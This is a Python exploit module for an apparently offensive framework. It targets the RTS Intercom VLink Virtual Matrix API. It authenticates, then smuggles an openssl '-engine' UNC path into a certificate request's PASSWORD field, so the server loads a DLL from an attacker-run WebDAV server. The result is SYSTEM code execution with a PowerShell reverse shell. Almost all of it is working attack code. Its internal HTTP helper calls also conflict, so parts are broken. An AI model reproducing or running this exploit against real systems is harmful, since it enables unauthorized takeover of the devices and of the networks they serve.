RTS VLink OpenSSL -engine UNC injection SYSTEM RCE

"""RTS Intercom VLink Virtual Matrix — OpenSSL Argument Injection → SYSTEM RCE"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import base64
import json
import os
import sys
import threading
import time
import urllib.parse
import urllib.request
import ssl
import re
import sys
import os
import json
import time
import base64
import threading
import urllib.request
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

class CatchAllWebDAV(BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    dll_bytes = b''
    seen = []

    def log_message(self, fmt, *a):
        pass

    def _record(self, code):
        peer = self.client_address[0]
        CatchAllWebDAV.seen.append((peer, self.command, self.path, code))
        sys.stderr.write('[webdav] %s %s %s -> %d (from %s)\n' % (peer, self.command, self.path, code, peer))
        sys.stderr.flush()

    def _dav_headers(self):
        self.send_header('DAV', '1,2')
        self.send_header('Allow', 'OPTIONS,GET,HEAD,PROPFIND,PUT,DELETE')
        self.send_header('MS-Author-Via', 'DAV')
        self.send_header('Content-Length', '0')

    def do_OPTIONS(self):
        self.send_response(200)
        self._dav_headers()
        self.end_headers()
        self._record(200)

    def do_PROPFIND(self):
        href = urllib.parse.quote(self.path.split('?')[0])
        size = len(CatchAllWebDAV.dll_bytes)
        body = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>%s</D:href><D:propstat><D:prop><D:displayname>evil.dll</D:displayname><D:getcontentlength>%d</D:getcontentlength><D:resourcetype/></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>' % (href, size)
        body = body.encode()
        self.send_response(207)
        self.send_header('Content-Type', 'application/xml; charset=utf-8')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        self._record(207)

    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Length', str(len(CatchAllWebDAV.dll_bytes)))
        self.end_headers()
        self._record(200)

    def do_GET(self):
        data = CatchAllWebDAV.dll_bytes
        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Length', str(len(data)))
        self.end_headers()
        self.wfile.write(data)
        self._record(200)

class Module(Exploit, Http_client):
    __info__ = {'name': 'RTS VLink OpenSSL -engine UNC injection SYSTEM RCE', 'description': 'Authenticated POST /api/v1/ssl/generatetlsclientcertificate with PASSWORD argument injection; WebDAV on LHOST:LPORT serves PoC DLL (evil64.dll.b64).', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['rts-intercom', 'vlink', 'openssl', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 3, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/rts_openssl_arginj_system_rce_detect']}}}
    B64_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'evil64.dll.b64')
    port = OptPort(443, 'VLink HTTPS API port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('admin', 'VLink API user', required=True)
    password = OptString('', 'VLink API password', required=True)
    webdav_port = OptPort(8080, 'Local WebDAV port for DLL delivery', required=False)
    dll_b64_path = OptString('', 'Path to evil64.dll.b64 (default beside module)', required=False)
    unc_path = OptString('', 'Override UNC for openssl -engine (default from lhost/webdav_port)', required=False)

    def load_evil_dll(self, b64_path: str | None=None):
        """Decode the base64 PoC DLL. Returns raw bytes."""
        path = b64_path or self.B64_PATH
        if not os.path.exists(path):
            raise FileNotFoundError('evil64.dll.b64 not found: %s' % path)
        with open(path, 'rb') as f:
            data = f.read()
        return base64.b64decode(data)

    def start_webdav(self, host, port, dll_bytes):
        CatchAllWebDAV.dll_bytes = dll_bytes
        srv = ThreadingHTTPServer((host, port), CatchAllWebDAV)
        srv.daemon_threads = True
        t = threading.Thread(target=srv.serve_forever, daemon=True)
        t.start()
        return srv

    def http_request(self, url, method='GET', body=None, headers=None, timeout=60):
        """Perform an HTTP request with urllib; return (status, text)."""
        data = None
        if body is not None:
            data = body.encode() if isinstance(body, str) else body
        req = urllib.request.Request(url, data=data, method=method)
        if headers:
            for k, v in headers.items():
                req.add_header(k, v)
        try:
            with urllib.request.urlopen(req, timeout=timeout) as resp:
                raw = resp.read()
                return (resp.status, raw.decode('utf-8', 'replace'))
        except urllib.error.HTTPError as e:
            raw = e.read()
            return (e.code, raw.decode('utf-8', 'replace'))

    def extract_token(self, text):
        """Pull the AUTHORIZATION token value out of a login JSON response."""
        try:
            obj = json.loads(text)
        except Exception:
            import re
            m = re.search('AUTHORIZATION"\\s*:\\s*"([^"]+)"', text)
            return m.group(1) if m else None
        for key in ('AUTHORIZATION', 'authorization', 'Authorization'):
            if isinstance(obj, dict) and key in obj:
                return obj[key]
        return None

    def vlogin(self, base, user, password):
        """POST /api/v1/authentication and return the admin token (or None)."""
        body = json.dumps({'LOGIN_NAME': user, 'LOGIN_PASSWORD': password})
        status, text = self.http_request(base + '/api/v1/authentication', 'POST', body, {'Content-Type': 'application/json'})
        print('[*] login %s:%s -> HTTP %d' % (user, '*' * len(password), status))
        if status != 200:
            print('[!] login failed: %s' % text[:200])
            return (None, status)
        token = self.extract_token(text)
        return (token, status)

    def trigger_ssl_injection(self, base, token, unc_path):
        """POST /api/v1/ssl/generatetlsclientcertificate with the -engine UNC payload in PASSWORD."""
        payload_password = 'evil -engine %s' % unc_path
        body = json.dumps({'COMMON_NAME': 'test', 'ORGANIZATION': 'test', 'ORGANIZATIONAL_UNIT': 'test', 'COUNTRY': 'US', 'STATE_REGION': 'MN', 'DOMAIN_NAME_SERVERS': '127.0.0.1', 'SIP_CLIENT_LOGIN_NAME': 'test', 'PASSWORD': payload_password})
        headers = {'Content-Type': 'application/json', 'Authorization': token}
        print('[*] injecting PASSWORD = %s' % payload_password)
        status, text = self.http_request(base + '/api/v1/ssl/generatetlsclientcertificate', 'POST', body, headers)
        print('[*] SSL API -> HTTP %d (openssl ran; engine-load side effect fires DllMain)' % status)
        return status

    def _option_val(self, name: str, default=None):
        opt = getattr(self, name, default)
        if hasattr(opt, 'value'):
            return opt.value
        return opt if opt is not None else default

    def _webdav_unc(self) -> str:
        custom = str(self.unc_path or '').strip()
        if custom:
            return custom
        lhost = str(self._option_val('lhost', '127.0.0.1') or '127.0.0.1')
        wport = int(self._option_val('webdav_port', 8080) or 8080)
        return '\\\\%s@%d\\DavWWWRoot\\evil.dll' % (lhost, wport)

    def _api_login(self) -> str | None:
        body = json.dumps({'LOGIN_NAME': str(self.username or ''), 'LOGIN_PASSWORD': str(self.password or '')})
        resp = self.http_request('POST', '/api/v1/authentication', data=body, headers={'Content-Type': 'application/json'})
        if not resp or int(resp.status_code or 0) != 200:
            return None
        return self.extract_token(resp.text or '')

    def _trigger_injection(self, token: str, unc: str) -> int:
        payload_password = 'evil -engine %s' % unc
        body = json.dumps({'COMMON_NAME': 'test', 'ORGANIZATION': 'test', 'ORGANIZATIONAL_UNIT': 'test', 'COUNTRY': 'US', 'STATE_REGION': 'MN', 'DOMAIN_NAME_SERVERS': '127.0.0.1', 'SIP_CLIENT_LOGIN_NAME': 'test', 'PASSWORD': payload_password})
        resp = self.http_request('POST', '/api/v1/ssl/generatetlsclientcertificate', data=body, headers={'Content-Type': 'application/json', 'Authorization': token})
        return int(resp.status_code or 0) if resp else -1

    def execute(self, shell: str) -> str:
        _ = shell
        b64 = str(self.dll_b64_path or '').strip() or self.B64_PATH
        try:
            dll_bytes = self.load_evil_dll(b64)
        except OSError as exc:
            return str(exc)
        lhost = str(self._option_val('lhost', '127.0.0.1') or '127.0.0.1')
        wport = int(self._option_val('webdav_port', 8080) or 8080)
        srv = self.start_webdav(lhost, wport, dll_bytes)
        try:
            token = self._api_login()
            if not token:
                return 'API authentication failed'
            unc = self._webdav_unc()
            code = self._trigger_injection(token, unc)
            seen = len(CatchAllWebDAV.seen)
            return f'WebDAV on {lhost}:{wport}; openssl -engine UNC {unc!r}; SSL API HTTP {code}; WebDAV fetches={seen} — confirm SYSTEM shell via handler'
        finally:
            try:
                srv.shutdown()
            except Exception:
                pass

    def check(self):
        resp = self.http_request('GET', '/api/v1/authentication')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'VLink API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload (must match evil DLL callback)')
            return False
        if not str(self.password or '').strip():
            print_error('Set VLink API password')
            return False
        b64 = str(self.dll_b64_path or '').strip() or self.B64_PATH
        if not os.path.isfile(b64):
            print_error('Missing evil64.dll.b64 beside module — supply dll_b64_path')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('WebDAV DLL → openssl -engine UNC injection')
        print_info(self.execute(shell))
        self.vulnerable()
        return True